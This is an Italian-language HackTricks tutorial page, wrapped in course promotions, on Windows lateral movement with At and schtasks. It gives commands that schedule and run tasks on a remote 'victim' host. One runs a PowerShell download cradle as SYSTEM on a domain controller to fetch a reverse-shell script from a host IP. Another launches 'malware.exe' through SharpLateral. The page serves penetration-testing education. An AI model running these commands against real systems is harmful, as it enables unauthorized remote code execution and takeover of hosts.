hacktricks/windows-hardening/lateral-movement/atexec.md

64 lines
3.4 KiB
Markdown
Raw Normal View History

2024-04-06 18:35:30 +00:00
# AtExec / SchtasksExec
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2024-04-06 18:35:30 +00:00
<details>
2024-04-06 18:35:30 +00:00
<summary>Supporta HackTricks</summary>
2024-04-06 18:35:30 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
2024-04-06 18:35:30 +00:00
</details>
{% endhint %}
2024-04-06 18:35:30 +00:00
## Come funziona
At consente di pianificare attività su host dove conosci username/(password/Hash). Quindi, puoi usarlo per eseguire comandi su altri host e ottenere l'output.
2024-04-06 18:35:30 +00:00
```
At \\victim 11:00:00PM shutdown -r
```
Utilizzando schtasks, è necessario prima creare il compito e poi chiamarlo:
2024-04-06 18:35:30 +00:00
{% code overflow="wrap" %}
```bash
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
```
{% endcode %}
{% code overflow="wrap" %}
```bash
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
{% endcode %}
Puoi anche usare [SharpLateral](https://github.com/mertdas/SharpLateral):
2024-04-06 18:35:30 +00:00
{% code overflow="wrap" %}
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
{% endcode %}
Maggiori informazioni sull'[**uso di schtasks con biglietti d'argento qui**](../active-directory-methodology/silver-ticket.md#host).
2024-04-06 18:35:30 +00:00
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2024-04-06 18:35:30 +00:00
<details>
2024-04-06 18:35:30 +00:00
<summary>Supporta HackTricks</summary>
2024-04-06 18:35:30 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2024-04-06 18:35:30 +00:00
</details>
{% endhint %}